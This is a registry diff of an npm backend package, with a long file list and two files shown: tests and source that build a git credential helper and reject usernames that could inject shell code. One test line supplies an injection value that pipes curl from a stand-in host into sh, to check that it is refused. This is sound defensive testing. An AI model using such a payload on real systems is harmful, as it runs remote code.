@bevel-software/platform-core-backend 0.11.2 → 0.12.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/THIRD-PARTY-NOTICES.md +1165 -427
- package/dist/core/create-core-server.js +1 -1
- package/dist/core/create-core-server.js.map +1 -1
- package/dist/core/create-core-services.d.ts +2 -0
- package/dist/core/create-core-services.d.ts.map +1 -1
- package/dist/core/create-core-services.js +5 -0
- package/dist/core/create-core-services.js.map +1 -1
- package/dist/core-config.d.ts +7 -0
- package/dist/core-config.d.ts.map +1 -1
- package/dist/core-config.js +9 -0
- package/dist/core-config.js.map +1 -1
- package/dist/modules/code-mode/code-mode.tool.d.ts.map +1 -1
- package/dist/modules/code-mode/code-mode.tool.js +7 -1
- package/dist/modules/code-mode/code-mode.tool.js.map +1 -1
- package/dist/modules/kb-fs/clone-config.d.ts +40 -2
- package/dist/modules/kb-fs/clone-config.d.ts.map +1 -1
- package/dist/modules/kb-fs/clone-config.js +94 -2
- package/dist/modules/kb-fs/clone-config.js.map +1 -1
- package/dist/modules/workflow/workflow.service.d.ts +38 -0
- package/dist/modules/workflow/workflow.service.d.ts.map +1 -1
- package/dist/modules/workflow/workflow.service.js +112 -6
- package/dist/modules/workflow/workflow.service.js.map +1 -1
- package/dist/modules/workspace/file-readers/doc-extract.service.d.ts +71 -0
- package/dist/modules/workspace/file-readers/doc-extract.service.d.ts.map +1 -0
- package/dist/modules/workspace/file-readers/doc-extract.service.js +90 -0
- package/dist/modules/workspace/file-readers/doc-extract.service.js.map +1 -0
- package/dist/modules/workspace/file-readers/doc-extract.types.d.ts +55 -0
- package/dist/modules/workspace/file-readers/doc-extract.types.d.ts.map +1 -0
- package/dist/modules/workspace/file-readers/doc-extract.types.js +34 -0
- package/dist/modules/workspace/file-readers/doc-extract.types.js.map +1 -0
- package/dist/modules/workspace/file-readers/document-reader.d.ts +32 -0
- package/dist/modules/workspace/file-readers/document-reader.d.ts.map +1 -0
- package/dist/modules/workspace/file-readers/document-reader.js +59 -0
- package/dist/modules/workspace/file-readers/document-reader.js.map +1 -0
- package/dist/modules/workspace/file-readers/email-reader.d.ts +15 -0
- package/dist/modules/workspace/file-readers/email-reader.d.ts.map +1 -0
- package/dist/modules/workspace/file-readers/email-reader.js +19 -0
- package/dist/modules/workspace/file-readers/email-reader.js.map +1 -0
- package/dist/modules/workspace/file-readers/email-text.d.ts +51 -0
- package/dist/modules/workspace/file-readers/email-text.d.ts.map +1 -0
- package/dist/modules/workspace/file-readers/email-text.js +151 -0
- package/dist/modules/workspace/file-readers/email-text.js.map +1 -0
- package/dist/modules/workspace/file-readers/extract-docx.d.ts +13 -0
- package/dist/modules/workspace/file-readers/extract-docx.d.ts.map +1 -0
- package/dist/modules/workspace/file-readers/extract-docx.js +67 -0
- package/dist/modules/workspace/file-readers/extract-docx.js.map +1 -0
- package/dist/modules/workspace/file-readers/extract-eml.d.ts +18 -0
- package/dist/modules/workspace/file-readers/extract-eml.d.ts.map +1 -0
- package/dist/modules/workspace/file-readers/extract-eml.js +87 -0
- package/dist/modules/workspace/file-readers/extract-eml.js.map +1 -0
- package/dist/modules/workspace/file-readers/extract-msg.d.ts +17 -0
- package/dist/modules/workspace/file-readers/extract-msg.d.ts.map +1 -0
- package/dist/modules/workspace/file-readers/extract-msg.js +121 -0
- package/dist/modules/workspace/file-readers/extract-msg.js.map +1 -0
- package/dist/modules/workspace/file-readers/extract-odp.d.ts +13 -0
- package/dist/modules/workspace/file-readers/extract-odp.d.ts.map +1 -0
- package/dist/modules/workspace/file-readers/extract-odp.js +60 -0
- package/dist/modules/workspace/file-readers/extract-odp.js.map +1 -0
- package/dist/modules/workspace/file-readers/extract-ods.d.ts +10 -0
- package/dist/modules/workspace/file-readers/extract-ods.d.ts.map +1 -0
- package/dist/modules/workspace/file-readers/extract-ods.js +173 -0
- package/dist/modules/workspace/file-readers/extract-ods.js.map +1 -0
- package/dist/modules/workspace/file-readers/extract-odt.d.ts +17 -0
- package/dist/modules/workspace/file-readers/extract-odt.d.ts.map +1 -0
- package/dist/modules/workspace/file-readers/extract-odt.js +45 -0
- package/dist/modules/workspace/file-readers/extract-odt.js.map +1 -0
- package/dist/modules/workspace/file-readers/extract-pdf.d.ts +3 -0
- package/dist/modules/workspace/file-readers/extract-pdf.d.ts.map +1 -0
- package/dist/modules/workspace/file-readers/extract-pdf.js +176 -0
- package/dist/modules/workspace/file-readers/extract-pdf.js.map +1 -0
- package/dist/modules/workspace/file-readers/extract-pptx.d.ts +37 -0
- package/dist/modules/workspace/file-readers/extract-pptx.d.ts.map +1 -0
- package/dist/modules/workspace/file-readers/extract-pptx.js +288 -0
- package/dist/modules/workspace/file-readers/extract-pptx.js.map +1 -0
- package/dist/modules/workspace/file-readers/extract-xlsx.d.ts +10 -0
- package/dist/modules/workspace/file-readers/extract-xlsx.d.ts.map +1 -0
- package/dist/modules/workspace/file-readers/extract-xlsx.js +98 -0
- package/dist/modules/workspace/file-readers/extract-xlsx.js.map +1 -0
- package/dist/modules/workspace/file-readers/extraction-cache.d.ts +61 -0
- package/dist/modules/workspace/file-readers/extraction-cache.d.ts.map +1 -0
- package/dist/modules/workspace/file-readers/extraction-cache.js +135 -0
- package/dist/modules/workspace/file-readers/extraction-cache.js.map +1 -0
- package/dist/modules/workspace/file-readers/file-reader.d.ts +76 -0
- package/dist/modules/workspace/file-readers/file-reader.d.ts.map +1 -0
- package/dist/modules/workspace/file-readers/file-reader.js +55 -0
- package/dist/modules/workspace/file-readers/file-reader.js.map +1 -0
- package/dist/modules/workspace/file-readers/file-reader.registry.d.ts +13 -0
- package/dist/modules/workspace/file-readers/file-reader.registry.d.ts.map +1 -0
- package/dist/modules/workspace/file-readers/file-reader.registry.js +41 -0
- package/dist/modules/workspace/file-readers/file-reader.registry.js.map +1 -0
- package/dist/modules/workspace/file-readers/image-read.d.ts +35 -0
- package/dist/modules/workspace/file-readers/image-read.d.ts.map +1 -0
- package/dist/modules/workspace/file-readers/image-read.js +108 -0
- package/dist/modules/workspace/file-readers/image-read.js.map +1 -0
- package/dist/modules/workspace/file-readers/image-reader.d.ts +19 -0
- package/dist/modules/workspace/file-readers/image-reader.d.ts.map +1 -0
- package/dist/modules/workspace/file-readers/image-reader.js +30 -0
- package/dist/modules/workspace/file-readers/image-reader.js.map +1 -0
- package/dist/modules/workspace/file-readers/odf-text.d.ts +26 -0
- package/dist/modules/workspace/file-readers/odf-text.d.ts.map +1 -0
- package/dist/modules/workspace/file-readers/odf-text.js +116 -0
- package/dist/modules/workspace/file-readers/odf-text.js.map +1 -0
- package/dist/modules/workspace/file-readers/ooxml-text.d.ts +172 -0
- package/dist/modules/workspace/file-readers/ooxml-text.d.ts.map +1 -0
- package/dist/modules/workspace/file-readers/ooxml-text.js +439 -0
- package/dist/modules/workspace/file-readers/ooxml-text.js.map +1 -0
- package/dist/modules/workspace/file-readers/text-reader.d.ts +47 -0
- package/dist/modules/workspace/file-readers/text-reader.d.ts.map +1 -0
- package/dist/modules/workspace/file-readers/text-reader.js +117 -0
- package/dist/modules/workspace/file-readers/text-reader.js.map +1 -0
- package/dist/modules/workspace/startup/kb-git.d.ts.map +1 -1
- package/dist/modules/workspace/startup/kb-git.js +21 -4
- package/dist/modules/workspace/startup/kb-git.js.map +1 -1
- package/dist/modules/workspace/workspace.service.d.ts +52 -8
- package/dist/modules/workspace/workspace.service.d.ts.map +1 -1
- package/dist/modules/workspace/workspace.service.js +121 -23
- package/dist/modules/workspace/workspace.service.js.map +1 -1
- package/dist/modules/workspace/workspace.tools.d.ts +2 -1
- package/dist/modules/workspace/workspace.tools.d.ts.map +1 -1
- package/dist/modules/workspace/workspace.tools.js +158 -15
- package/dist/modules/workspace/workspace.tools.js.map +1 -1
- package/package.json +11 -6
- package/src/core/create-core-server.ts +1 -1
- package/src/core/create-core-services.ts +6 -0
- package/src/core-config.ts +9 -0
- package/src/modules/code-mode/__tests__/code-mode.tool.test.ts +30 -0
- package/src/modules/code-mode/code-mode.tool.ts +7 -1
- package/src/modules/kb-fs/__tests__/clone-config.test.ts +63 -2
- package/src/modules/kb-fs/clone-config.ts +97 -2
- package/src/modules/secrets-vault/secrets-vault.routes.ts +582 -582
- package/src/modules/tool-helpers/__tests__/phase4-tools.test.ts +2 -1
- package/src/modules/workflow/__tests__/workflow.service.commitFileWhileLocked.test.ts +11 -5
- package/src/modules/workflow/__tests__/workflow.service.releaseLock.test.ts +172 -7
- package/src/modules/workflow/workflow.service.ts +118 -6
- package/src/modules/workspace/__tests__/workspace.service.test.ts +1 -1
- package/src/modules/workspace/__tests__/workspace.tools.test.ts +500 -2
- package/src/modules/workspace/file-readers/__tests__/doc-extract.test.ts +1658 -0
- package/src/modules/workspace/file-readers/__tests__/email-extract.test.ts +485 -0
- package/src/modules/workspace/file-readers/__tests__/file-reader.registry.test.ts +97 -0
- package/src/modules/workspace/file-readers/__tests__/image-read.test.ts +100 -0
- package/src/modules/workspace/file-readers/doc-extract.service.ts +104 -0
- package/src/modules/workspace/file-readers/doc-extract.types.ts +63 -0
- package/src/modules/workspace/file-readers/document-reader.ts +64 -0
- package/src/modules/workspace/file-readers/email-reader.ts +21 -0
- package/src/modules/workspace/file-readers/email-text.ts +193 -0
- package/src/modules/workspace/file-readers/extract-docx.ts +67 -0
- package/src/modules/workspace/file-readers/extract-eml.ts +92 -0
- package/src/modules/workspace/file-readers/extract-msg.ts +134 -0
- package/src/modules/workspace/file-readers/extract-odp.ts +63 -0
- package/src/modules/workspace/file-readers/extract-ods.ts +182 -0
- package/src/modules/workspace/file-readers/extract-odt.ts +48 -0
- package/src/modules/workspace/file-readers/extract-pdf.ts +178 -0
- package/src/modules/workspace/file-readers/extract-pptx.ts +302 -0
- package/src/modules/workspace/file-readers/extract-xlsx.ts +96 -0
- package/src/modules/workspace/file-readers/extraction-cache.ts +142 -0
- package/src/modules/workspace/file-readers/file-reader.registry.ts +45 -0
- package/src/modules/workspace/file-readers/file-reader.ts +104 -0
- package/src/modules/workspace/file-readers/image-read.ts +122 -0
- package/src/modules/workspace/file-readers/image-reader.ts +39 -0
- package/src/modules/workspace/file-readers/odf-text.ts +123 -0
- package/src/modules/workspace/file-readers/ooxml-text.ts +477 -0
- package/src/modules/workspace/file-readers/text-reader.ts +131 -0
- package/src/modules/workspace/startup/__tests__/kb-startup-runner.test.ts +141 -0
- package/src/modules/workspace/startup/kb-git.ts +20 -7
- package/src/modules/workspace/workspace.service.ts +132 -25
- package/src/modules/workspace/workspace.tools.ts +174 -12
|
@@ -1,5 +1,11 @@
|
|
|
1
|
-
import { describe, it, expect } from 'vitest';
|
|
2
|
-
import {
|
|
1
|
+
import { describe, it, expect, afterEach } from 'vitest';
|
|
2
|
+
import {
|
|
3
|
+
cloneCredentialArgs,
|
|
4
|
+
cloneCredentialConfigArgs,
|
|
5
|
+
cloneTrackingConfigArgs,
|
|
6
|
+
credentialHelperValue,
|
|
7
|
+
ORIGIN_FETCH_REFSPEC,
|
|
8
|
+
} from '../clone-config.js';
|
|
3
9
|
|
|
4
10
|
describe('cloneTrackingConfigArgs', () => {
|
|
5
11
|
// A slashed draft name is the everyday case (`<email-localpart>/<slug>`), and
|
|
@@ -13,3 +19,58 @@ describe('cloneTrackingConfigArgs', () => {
|
|
|
13
19
|
]);
|
|
14
20
|
});
|
|
15
21
|
});
|
|
22
|
+
|
|
23
|
+
describe('credential config', () => {
|
|
24
|
+
const ORIGINAL = process.env.GITHUB_TOKEN;
|
|
25
|
+
afterEach(() => {
|
|
26
|
+
if (ORIGINAL === undefined) delete process.env.GITHUB_TOKEN;
|
|
27
|
+
else process.env.GITHUB_TOKEN = ORIGINAL;
|
|
28
|
+
});
|
|
29
|
+
|
|
30
|
+
it('reads the token from the environment at call time, never inlining its value', () => {
|
|
31
|
+
process.env.GITHUB_TOKEN = 'ghp_supersecret';
|
|
32
|
+
const helper = credentialHelperValue('x-access-token');
|
|
33
|
+
expect(helper).toContain('password=$GITHUB_TOKEN');
|
|
34
|
+
expect(helper).not.toContain('ghp_supersecret');
|
|
35
|
+
});
|
|
36
|
+
|
|
37
|
+
it('with no token: clones get no helper, and existing clones get theirs UNSET', () => {
|
|
38
|
+
delete process.env.GITHUB_TOKEN;
|
|
39
|
+
expect(credentialHelperValue('x-access-token')).toBeNull();
|
|
40
|
+
// A fresh clone simply carries nothing…
|
|
41
|
+
expect(cloneCredentialArgs('x-access-token')).toEqual([]);
|
|
42
|
+
// …but an adopted clone may carry a helper from when a token WAS
|
|
43
|
+
// configured, and that stale helper (answering with an empty password)
|
|
44
|
+
// would shadow whatever auth the operator fell back to — so the repair
|
|
45
|
+
// path removes it. Callers run this tolerantly: unset of a missing key
|
|
46
|
+
// exits non-zero and is the expected no-op.
|
|
47
|
+
expect(cloneCredentialConfigArgs('x-access-token')).toEqual([
|
|
48
|
+
['config', '--unset-all', 'credential.helper', 'password=\\$GITHUB_TOKEN'],
|
|
49
|
+
]);
|
|
50
|
+
});
|
|
51
|
+
|
|
52
|
+
it('passes the clone form as --config, which git only honours AFTER the subcommand', () => {
|
|
53
|
+
process.env.GITHUB_TOKEN = 'ghp_x';
|
|
54
|
+
// Pinned exactly: `-c` here instead of `--config` still authenticates the
|
|
55
|
+
// clone but writes nothing into the new repo, which is the bug this guards.
|
|
56
|
+
expect(cloneCredentialArgs('oauth2')).toEqual([
|
|
57
|
+
'--config',
|
|
58
|
+
`credential.helper=${credentialHelperValue('oauth2')}`,
|
|
59
|
+
]);
|
|
60
|
+
});
|
|
61
|
+
|
|
62
|
+
it('replaces rather than appends when re-stamping — scoped to app-owned values only', () => {
|
|
63
|
+
process.env.GITHUB_TOKEN = 'ghp_x';
|
|
64
|
+
// The trailing value-pattern is what keeps an operator's own clone-local
|
|
65
|
+
// helper (store/cache/custom) out of reach of both the replace and the
|
|
66
|
+
// unset — git only touches values matching it.
|
|
67
|
+
expect(cloneCredentialConfigArgs('x-access-token')).toEqual([
|
|
68
|
+
['config', '--replace-all', 'credential.helper', credentialHelperValue('x-access-token'), 'password=\\$GITHUB_TOKEN'],
|
|
69
|
+
]);
|
|
70
|
+
});
|
|
71
|
+
|
|
72
|
+
it('refuses a username that would break out of the helper snippet', () => {
|
|
73
|
+
process.env.GITHUB_TOKEN = 'ghp_x';
|
|
74
|
+
expect(() => credentialHelperValue('me"; curl evil.sh | sh; #')).toThrow(/must match/);
|
|
75
|
+
});
|
|
76
|
+
});
|
|
@@ -1,6 +1,13 @@
|
|
|
1
1
|
/**
|
|
2
|
-
* The git configuration a per-branch workspace clone must
|
|
3
|
-
* to
|
|
2
|
+
* The git configuration a per-branch workspace clone must carry: the tracking
|
|
3
|
+
* config that pins its branch to exactly ONE upstream ref, and the credential
|
|
4
|
+
* helper its remote operations authenticate with.
|
|
5
|
+
*
|
|
6
|
+
* Both are stamped at clone time AND re-stamped when an existing clone is
|
|
7
|
+
* adopted from disk, so a clone created by an older build — or by a path that
|
|
8
|
+
* only authenticated its own invocation — is repaired rather than left broken.
|
|
9
|
+
*
|
|
10
|
+
* On the tracking half:
|
|
4
11
|
*
|
|
5
12
|
* Why this exists: a clone's config is append-only from git's point of view,
|
|
6
13
|
* and several things write to it:
|
|
@@ -69,3 +76,91 @@ export function cloneTrackingConfigArgs(branch: string): string[][] {
|
|
|
69
76
|
['config', '--replace-all', `branch.${branch}.merge`, `refs/heads/${branch}`],
|
|
70
77
|
];
|
|
71
78
|
}
|
|
79
|
+
|
|
80
|
+
/**
|
|
81
|
+
* The inline credential helper a workspace clone authenticates its remote
|
|
82
|
+
* operations with, or null when the deployment has no git token configured.
|
|
83
|
+
*
|
|
84
|
+
* The snippet reads `$GITHUB_TOKEN` at CALL time, so the secret itself never
|
|
85
|
+
* enters argv, the clone's `.git/config`, or any error message quoting either.
|
|
86
|
+
* `GITHUB_TOKEN` is the normalised name — `CoreConfig` collapses `GIT_TOKEN` /
|
|
87
|
+
* `GH_TOKEN` onto it at boot, and `DeploymentSettingsService.syncGitTokenEnv`
|
|
88
|
+
* publishes a token supplied through the setup screen to the same place — so
|
|
89
|
+
* this one name covers every way a token can arrive.
|
|
90
|
+
*
|
|
91
|
+
* The username is provider-specific (GitHub `x-access-token`, GitLab `oauth2`,
|
|
92
|
+
* Bitbucket `x-token-auth`); the token is always the Basic-auth password,
|
|
93
|
+
* which every major host accepts.
|
|
94
|
+
*/
|
|
95
|
+
export function credentialHelperValue(gitUsername: string): string | null {
|
|
96
|
+
if (!process.env.GITHUB_TOKEN) return null;
|
|
97
|
+
// Interpolated into a shell snippet that git will execute. `CoreConfig` and
|
|
98
|
+
// `DeploymentSettingsService` both reject a username outside this charset
|
|
99
|
+
// before it can get this far, so reaching the throw means an unvalidated
|
|
100
|
+
// fourth path appeared — fail closed rather than emit an injectable helper.
|
|
101
|
+
if (!/^[A-Za-z0-9._-]+$/.test(gitUsername)) {
|
|
102
|
+
throw new Error(`git username must match [A-Za-z0-9._-]+; got "${gitUsername}"`);
|
|
103
|
+
}
|
|
104
|
+
// printf '%s' rather than echo: POSIX leaves echo's handling of backslash
|
|
105
|
+
// escapes implementation-defined (dash interprets \c as "stop output"), so
|
|
106
|
+
// a token containing a backslash sequence could be silently truncated on
|
|
107
|
+
// the way to git. printf %s passes the bytes through verbatim. The literal
|
|
108
|
+
// `password=$GITHUB_TOKEN` stays in the snippet, which is what
|
|
109
|
+
// APP_HELPER_VALUE_PATTERN keys on — echo-era helpers stamped by earlier
|
|
110
|
+
// builds still match it and get replaced on the next stamp.
|
|
111
|
+
return `!f() { printf '%s\\n' "username=${gitUsername}" "password=$GITHUB_TOKEN"; }; f`;
|
|
112
|
+
}
|
|
113
|
+
|
|
114
|
+
/**
|
|
115
|
+
* `git clone` arguments that PERSIST the credential helper into the repository
|
|
116
|
+
* being created. Position is load-bearing: these belong AFTER the `clone`
|
|
117
|
+
* subcommand, where `--config` means "write this into the new repo's config".
|
|
118
|
+
* The same pair placed BEFORE it is git's per-invocation `-c`, which
|
|
119
|
+
* authenticates that one clone and leaves the resulting repo with no helper at
|
|
120
|
+
* all — so every later `git push` from that clone prompts for a username,
|
|
121
|
+
* finds no tty, and dies. That was a real outage: a self-hosted deployment
|
|
122
|
+
* cloned fine, committed fine, and silently pushed nothing for two days.
|
|
123
|
+
*
|
|
124
|
+
* Empty when no token is configured, matching the un-authenticated clone the
|
|
125
|
+
* rest of the layer already supports.
|
|
126
|
+
*/
|
|
127
|
+
export function cloneCredentialArgs(gitUsername: string): string[] {
|
|
128
|
+
const helper = credentialHelperValue(gitUsername);
|
|
129
|
+
return helper ? ['--config', `credential.helper=${helper}`] : [];
|
|
130
|
+
}
|
|
131
|
+
|
|
132
|
+
/**
|
|
133
|
+
* `git` argument lists that bring a clone's credential helper into line with
|
|
134
|
+
* the deployment's current config — the repair path for clones on disk (see
|
|
135
|
+
* `cloneCredentialArgs`), applied wherever `cloneTrackingConfigArgs` is:
|
|
136
|
+
* `--replace-all` when a token is configured (idempotent re-stamp, stale
|
|
137
|
+
* values collapse), `--unset-all` when the deployment lost its token (a
|
|
138
|
+
* leftover helper answering with an empty password must not shadow whatever
|
|
139
|
+
* auth the operator fell back to; unset of a missing value exits non-zero
|
|
140
|
+
* and callers tolerate it — see `stampCredentialHelper`). Both operations
|
|
141
|
+
* are scoped by the value pattern below so only app-owned helpers are
|
|
142
|
+
* touched. Returns the arguments rather than running them, for the same
|
|
143
|
+
* reason `cloneTrackingConfigArgs` does.
|
|
144
|
+
*/
|
|
145
|
+
/**
|
|
146
|
+
* Value pattern (a POSIX ERE, as `git config`'s optional value-pattern
|
|
147
|
+
* argument expects) that matches ONLY helpers this application stamped —
|
|
148
|
+
* every one of ours reads `password=$GITHUB_TOKEN`, and no operator-authored
|
|
149
|
+
* helper has a reason to contain that literal. Scoping both the replace and
|
|
150
|
+
* the unset to it means an operator's own clone-local helper (`store`,
|
|
151
|
+
* `cache`, something custom) is never collapsed away or deleted by our
|
|
152
|
+
* stamping: git chains all configured helpers in order, so ours and theirs
|
|
153
|
+
* coexist.
|
|
154
|
+
*/
|
|
155
|
+
const APP_HELPER_VALUE_PATTERN = 'password=\\$GITHUB_TOKEN';
|
|
156
|
+
|
|
157
|
+
export function cloneCredentialConfigArgs(gitUsername: string): string[][] {
|
|
158
|
+
const helper = credentialHelperValue(gitUsername);
|
|
159
|
+
// `--replace-all key value pattern` replaces every line MATCHING the
|
|
160
|
+
// pattern with the one value (adding it when none match) and leaves
|
|
161
|
+
// non-matching values — operator helpers — untouched. Same scoping on the
|
|
162
|
+
// unset: only app-stamped values are removed when the token goes away.
|
|
163
|
+
return helper
|
|
164
|
+
? [['config', '--replace-all', 'credential.helper', helper, APP_HELPER_VALUE_PATTERN]]
|
|
165
|
+
: [['config', '--unset-all', 'credential.helper', APP_HELPER_VALUE_PATTERN]];
|
|
166
|
+
}
|